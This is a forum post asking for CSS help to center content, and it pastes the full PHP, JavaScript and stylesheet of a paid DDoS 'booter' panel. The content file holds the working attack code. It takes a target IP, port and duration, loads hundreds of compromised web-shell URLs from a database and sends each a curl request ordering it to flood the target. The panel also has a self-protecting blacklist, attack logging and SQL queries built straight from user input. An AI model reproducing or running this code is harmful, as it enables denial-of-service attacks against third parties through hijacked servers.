I just can't center the content below the navigation

My Header File
Code:
<?php 
include 'dbc.php';
page_protect();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>PastPhase Booter - Twistart Designs</title>
<meta name='robots' content='noindex,nofollow' />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">
<link rel="stylesheet" href="img/style.css" type="text/css" media="screen">
</head>
<body>
<?php 
$rs_settings = mysql_query("select * from users where id='$_SESSION[user_id]'");
if (isset($_SESSION['user_id'])) {?>
	<div id="topbar">
		<div id="topbar-left">
		You are currently signed in as <b><?php while ($row_settings = mysql_fetch_array($rs_settings)) {?>
		<? echo $row_settings['user_name']; ?>
		<?php } ?>
		</b>
		</div>
		<div id="topbar-right">
		<?php
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS); 
mysql_select_db(DB_NAME, $link); 
$result = mysql_query("SELECT * FROM getshells", $link); 
$num_rows = mysql_num_rows($result); 
$result2 = mysql_query("SELECT * FROM postshells", $link); 
$num_rows2 = mysql_num_rows($result2); 

$shellsOnline = $num_rows + $num_rows2;

echo "There are currently <b>" . $shellsOnline . "</b> shells online.";
?>
		</div>
</div>

<div id="main-nav-wrapper">
                <div id="main-nav-content">
<ul id="main-nav" class="menu">
<li><a href="index.php"><strong>Home</strong><span> </span></a></li>
<li><a href="hub.php"><strong>Booter</strong><span> </span></a></li>
<li><a href="updates.php"><strong>Updates</strong><span> </span></a></li>
<li><a href="mysettings.php"><strong>Settings</strong><span> </span></a></li>
<li><a href="tos.php"><strong>Shoutbox</strong><span> </span></a></li>
<li><a href="tools.php"><strong>Tools</strong><span> </span></a></li>
<li><a href="logout.php"><strong>Logout</strong><span> </span></a></li>
<li id="admin"><?php } if (checkAdmin()) { ?><a href="admin.php"><strong>Admin Panel</strong></a></li>
</ul>
</li>

</div>
	<div id="main-nav-shadow">
	</div>
</div>
</div>
<?php } ?>
<div id="site-wrap">
My content file
Code:
<?php
$shells = 350; // Change 100 to your rotation amount
require('myaccount.php');
?>
<script src="js/jquery-1.4.4.min.js" type="text/javascript"></script>
<script type="text/javascript">
function hub()
	{
	if (window.XMLHttpRequest)
	  {
	  xmlhttp=new XMLHttpRequest();
	  }
	else
	  {
	  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	xmlhttp.onreadystatechange=function()
	  {
	  if (xmlhttp.readyState==4 && xmlhttp.status==200)
	    {
	    document.getElementById("sent").innerHTML = "Request has been sent to all shells.";
	    }
	  }
	xmlhttp.open("GET","hub.php?host="+document.getElementById('host').value+"&time="+document.getElementById('time').value+"&port="+document.getElementById('port'));
	xmlhttp.send();
}
</script>
<div id="bar-mid">&nbsp;&nbsp;Booter </div>
<div id="cont-wrap">
	<div id="cont">
		<div id="bar">
   		<div id="icon"><img class="icon" src="img/warning.png"></div><p>&nbsp;&nbsp;Abusing the booter will result into a suspension, please read the <a href="tos.php">Terms Of Service</a> before use!</p>
		</div>
		<div id="bar2">
   		<div id="icon"><img class="icon" src="img/info.png"></div><p>&nbsp;&nbsp;This bar will be updated soon!</p>
		</div>
		Please enter the IP address or DNS below to initiate an attack :
		<div id="baron">
		IP/DNS : <input type="text" id="host" onkeypress="handleKeyPress(event,this.form)" name="host" value=""/><br />
		</div>
		<div id="baroff">
		Time :
<input type="hidden" onkeypress="handleKeyPress(event,this.form)" id="time" name="time"/>
<input type="text" name="time" value="120"/>
		</div>
		<div id="baron">
		Port :
		<input type="hidden" name="port" onkeypress="handleKeyPress(event,this.form)"/>
		<input type="text" name="port" value="3074"/>
		</div>
		<div id="baroff">
		<input type="submit" class="attack" id="attack" value="" onclick="hub();" /><br><br></td></tr>
		</div>
	</div>
<script type="text/javascript">
<?php if ($staff !== 'admin') { echo "form_widget_amount_slider('slider_target',document.forms[0].time,110,10,120);"; } ?>
form_widget_amount_slider('slider_target2',document.forms[0].power,110,1,100);
</script>
<form>
  </p>
<form>
</form>
		<form action="hub.php" method="post">
		  &nbsp;
		  </p>
</form>
</table>
<b>Notice</b>: Attacking the same IP address repeatedly at rapid rates is prohibited, and will result in suspension of your account without refund.
<script type="text/javascript">
function handleKeyPress(e,form){
	var key=e.keyCode || e.which;
	if (key==13){
		hub();
	}
}
</script>
<?php
set_time_limit(10);  
ignore_user_abort(TRUE);  

include 'EpiCurl.php';   
require("ezSQLCore.php");
require("ezSQL.php");

$query = mysql_query("SELECT * FROM `users` WHERE `id`='$_SESSION[user_id]' AND `banned`=1") or die(mysql_error());
if (mysql_num_rows($query) > 0) {
	mysql_query("update `users` 
		set `ckey`= '', `ctime`= '' 
		where `id`='$_SESSION[user_id]' OR  `id` = '$_COOKIE[user_id]'") or die(mysql_error());			
	unset($_SESSION['user_id']);
	unset($_SESSION['user_name']);
	unset($_SESSION['user_level']);
	unset($_SESSION['HTTP_USER_AGENT']);
	session_unset();
	session_destroy(); 
	setcookie("user_id", '', time()-60*60*24*COOKIE_TIME_OUT, "/");
	setcookie("user_name", '', time()-60*60*24*COOKIE_TIME_OUT, "/");
	setcookie("user_key", '', time()-60*60*24*COOKIE_TIME_OUT, "/");
	die("You do not have permission to view this page.");
}

if (isset($_GET['host']) && isset($_GET['time']) && isset($_GET['port']))
{

	$SQL = new ezSQL_mysql();
	$SQL->connect(DB_USER, DB_PASS); 
	$SQL->select(DB_NAME);	 
	$Query = "SELECT * FROM `getshells` ORDER BY RAND() LIMIT {$shells}";
        $AffectedRows = $SQL->query($Query);
        $host = $_GET['host'];
        $time = intval($_GET['time']);
        $port = intval($_GET['port']);
		$mc = EpiCurl::getInstance();
		$ch = array();

		
if($time >= 121) {
die("<hr>You cannot issue attacks exceeding 120 seconds.");
}

if($host == "") {
die("<hr>You must fill in all fields.");
}
    	
if($time == "") {
die("<hr>You must fill in all fields.");
}

if($port == "") {
die("<hr>You must fill in all fields.");
}

if ((0 > $port) OR ($port > 65000))
{
die("<hr>Port needs to be between 0 and 65000.");
}

/*
* Example Blacklisting
*/

if($host == "hackforums.net") { die("<hr>You cannot attack this."); }
if($host == "pastphase.net") { die("<hr>Do you wanna die mother****er?"); }
if($host == "84.82.172.22") { die("<hr>Do you wanna die mother****er?"); }
if($host == "38.109.38.26") { die("<hr>You cannot attack this."); }
if($host == "82.170.222.22") { die("<hr>You cannot attack this."); }
if($host == "188.121.54.128") { die("<hr>You cannot attack this."); }
if($host == "localhost") { die("<hr>Do you wanna die mother****er?"); }
if($host == "127.0.0.1") { die("<hr>Do you wanna die mother****er?."); }


/*
* End of blacklisting
*/

    for($i = 0; $i < $AffectedRows; $i++)
    {
	$row = $SQL->last_result[$i];
        $shell = trim($row->URL);
		
        if (strlen($shell) == 0)
            continue;

        $shell .= "?act=phptools&host={$host}&time={$time}&port={$port}";  
        $ch[$i] = curl_init($shell);
        curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch[$i], CURLOPT_TIMEOUT, 8);
        $curl1 = $mc->addCurl($ch[$i]);	      
    }
	
	$Query = "SELECT * FROM `postshells`"; 
	$AffectedRows = $SQL->query($Query);
    $ch2 = array();
    $post = "ip={$host}&time={$time}&port={$port}"; 
    
    for($i = 0; $i < $AffectedRows; $i++)
    {
		$row = $SQL->last_result[$i];
        $shell = trim($row->URL);
        if (strlen($shell) == 0)
            continue;           
        $header = array();
		$header[] = "Cache-Control: max-age=0"; 
		$header[] = "Connection: keep-alive"; 
		$header[] = "Keep-Alive: 300"; 
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; 
		$header[] = "Accept-Language: en-us,en;q=0.5"; 
		$header[] = "Pragma: ";
        $ch2[$i] = curl_init($shell);
		curl_setopt($ch2[$i], CURLOPT_HTTPHEADER, $header); 
        curl_setopt($ch2[$i], CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch2[$i], CURLOPT_FORBID_REUSE, 1);
        curl_setopt($ch2[$i], CURLOPT_POST, 1);
        curl_setopt($ch2[$i], CURLOPT_POSTFIELDS, $post);
        $curl1 = $mc->addCurl($ch2[$i]);       
    }	

echo "<p id='sent'>Request has been sent to all shells.</p>";

$username = $_SESSION['user_name'];
$host = $_GET['host'];
$time = $_GET['time'];
$port = $_GET['port'];

mysql_query("INSERT INTO logs 
(username, ip, time, port) VALUES('" . $username . "', '" .$host . "', '" . $time . "', '" . $port . "' ) ") 
or die(mysql_error());  

}
?>
</div>
</body>
</html>
<?php 
include 'footer.php';
?>
Stylesheet file
Code:
@charset "utf-8";

html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	font-weight: inherit;
	font-style: inherit;
	font-size: 100%;
	vertical-align: baseline;
        list-style:none outside none;
}

body {
color:#575757;
font-size:11px;
font-family: "Verdana", Times, serif;
}

.clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .clearfix { display: inline-block; } /* Hide from IE Mac \*/ .clearfix { display: block; } /* End hide from IE Mac */ .none { display: none; } /* End Clearfix */

strong {
font-weight: bold;
}
em {
font-style: italic;
}

input {
	position:relative;
    	border:1px solid #efedc7;
    	background:#fff;
    	min-height:0px;
    	-webkit-border-radius:5px;
    	-moz-border-radius:5px;
    	border-radius: 5px;
    	padding:0px 0px 0px 0px;
    	overflow:hidden;
	width:100px;
	height:30px;
}
textarea {
	width:400px;
	padding:2px;
	font: normal 1em Verdana, sans-serif;
	border: 1px solid #919191;
	height: 25px;
	height:100px;
	display:block;
	color:#3e3e3e;
	border: 1px solid #919191;
	background-color: #fff;
}
input.button { 
	font: bold 12px Arial, Sans-serif; 
	height: 36px;
	margin: 0;
	padding: 2px 3px; 
	color: #2e2e2e;
	background: #e7e6e6 url(button.jpg) repeat-x;
	border: 1px solid #919191;
	background-color: #cbcbcb;
}
input.log {
	background: transparent url(login.png) no-repeat top left;
	padding:2px 19px;
	font: normal 1em Verdana, sans-serif;
	color:#3e3e3e;
	background-color: #fff;
}
input.reg {
	background: transparent url(register.png) no-repeat top left;
	padding:2px 19px;
	font: normal 1em Verdana, sans-serif;
	color:#3e3e3e;
	background-color: #fff;
}
.searchform {
	background-color: transparent;
	border: none;	
	margin: 0 5px 0 10px; padding: 5px 0 15px 0;	
	width: 190px;	
}
input.attack {
	position:relative;
    	margin:10px;
    	height:50px;
    	border:1px solid #efedc7;
    	background:#fff;
    	min-height:0px;
    	-webkit-border-radius:5px;
    	-moz-border-radius:5px;
    	border-radius: 5px;
    	padding:1px 15px 3px 12px;
    	overflow:hidden;
	width:100px;
	height:40px;
}
input.attack:hover {
	background: transparent url(attack1.png) no-repeat;
	width:100px;
	height:40px;
	border: none;
}
.searchform p { margin: 0; padding: 0; }
.searchform input.textbox { 
	width: 100px;
	color: #777; 
	height: 18px;
	padding: 2px;	
	border: 1px solid #E5E5E5;
	vertical-align: top;
}
.searchform input.button { 
	width: 60px;
	height: 24px;
	padding: 2px 5px;
	vertical-align: top;
}
#topbar {
    height: 50px;
    background: #1a1a1a;
    position: relative;
    z-index: 20;
    color:#fff;
    line-height: 45px;
    font-size:11px;
}

#topbar-left {
    float:left;
    margin-left:2%;
    height: 25px;
}

#topbar-right {
    float:right;
    margin-right:2%;
    text-align: center;
}

#main-nav-wrapper {
    height: 50px;
    background: url(main-nav-bg.png) repeat-x !important;
    position: relative;
    z-index: 10;

}
#main-nav-content {
    width: 960px;
    margin: 0 auto;
}
#main-nav {
      background: url(main-nav-separator.png) no-repeat top right;
      float: left;
      padding-right: 2px;
}
#main-nav li {
    float: left;
    background: url(main-nav-separator.png) no-repeat;
    padding: 0px 0px 1px 0px;
    margin-top:1px;
}
#main-nav li a {
    color:#555555;
display:block;
font-size:13px;
font-weight:bold;
height:50px;
line-height:50px !important;
padding:0 25px;
text-decoration:none;
text-shadow:1px 1px 1px #FFFFFF;
}
#main-nav li a:hover, #main-nav li .menu-on {
    background: #fff;
    border-left: 1px solid #d2d2d2;
    border-bottom: 1px solid #d2d2d2;
    height: 48px;
}
#main-nav li#admin a:hover, #main-nav li .menu-on {
    background: #dcffb7;
    border-bottom: 1px solid #d2d2d2;
    height: 48px;
}
#main-nav-shadow {
    height: 3px;
    width: 100%;
    position: absolute;
    top: 1px;
    left: 0;
    background: url(main-nav-shadow.png) repeat-x;
}

#main-nav ul li ul {
    top: -1px;
    left: 200px;
    border-top: 1px solid #d8d8d8;
}

#main-nav ul {
    display: none;
    position: absolute;
    top: 50px;
    left: 0;
    z-index: 99;
    background: #f5f5f5;
    border-right: 1px solid #d8d8d8;
    width: 200px;
}
#main-nav ul li {
    float: left;
}
#main-nav ul li a {
   background: url(sub-sep.png) repeat-x bottom left;
   width: 149px;
 }
#main-nav ul li a:hover {
    border-right: 1px solid #d8d8d8;
}
#site-wrap {
    float:center;
    margin-left: auto;
    margin-right: auto;
}
#bar-left {
    background: url(bar-left.png) no-repeat;
    width: 12px;
    height: 58px;
    float: left;
    margin-top:-2px;
    margin-left:-6px;
}

#bar-mid {
    background: url(bar-mid.png) repeat-x;
    height: 58px;
    width:1000px;
    text-align:left;
    line-height:55px;
    font-weight:bold;
}

#bar-right {
    background: url(bar-right.png) no-repeat;
    width:12px;
    height:58px;
    margin-top:-2px;
    margin-right:-6px;
    float:right;
}
#cont-wrap {
    width: 1000px;
    border:#dedede 1px solid;
    background:#f7f7f7;
    height:600px;
    text-align:left;
}
#cont {
    font-size:10px;
    font-family:Verdana, Geneva;
}

#footer-wrap {
     background: url(logo-wrapper-bg.png) repeat;
     overflow: hidden;
}

#footer-content {
    padding: 50px 0 10px 0;
    width: 960px;
    margin: 0 auto;
}
#small-footer-wrap {
    background: #fff;
}
#small-footer-content {
    width: 960px;
    margin: 0 auto;
    padding: 5px 0 7px 0;
    overflow: hidden;
    font-family: Verdana, Geneva;
    font-size: 10px;
}
#small-footer-content a {
    color: #bc3c38 !important;
}
#small-footer-content-left {
    float: left;
}
#small-footer-content-right {
    float: right;
}
#bar {
    position:relative;
    margin:10px;
    height:50px;
    border:1px solid #efedc7;
    background:#fffad0;
    min-height:0px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:1px 15px 3px 12px;
    overflow:hidden;
}
* html #bar {
    height:15px;
}
#bar p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
    line-height:30px;
}
#bar a {
    color:#b6d47c;
    font-weight:bold;
    text-decoration:none;
}
#bar2 {
    position:relative;
    margin:10px;
    border:1px solid #c7d3f8;
    background:#dce3ff;
    min-height:0px;
    height:50px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:1px 15px 3px 12px;
    overflow:hidden;
}
* html #bar2 {
    height:15px;
}
#bar2 p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
    line-height:30px;
}
#bar2 a {
    position:absolute;
    color:#b6d47c;
    text-decoration:none;
}

#baron {
    position:relative;
    margin:10px;
    background:#ececec;
    min-height:0px;
    height:30px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:10px 15px 5px 12px;
    overflow:hidden;
}
* html #baron {
    height:15px;
}
#baron p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:12px;
}

#baroff {
    position:relative;
    margin:10px;
    min-height:0px;
    height:30px;
    -webkit-border-radius:5px;
    -moz-border-radius:5px;
    border-radius: 5px;
    padding:10px 15px 5px 12px;
    overflow:hidden;
}
* html #baroff {
    height:15px;
}
#baroff p {
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:12px;
}
#icon {
    margin-left:auto;
    margin-right:auto;
    float:left;
    line-height:58px;
    font-family:Verdana, Geneva;
    color:#717061;
    font-size:11px;
}
The content keeps staying in the left part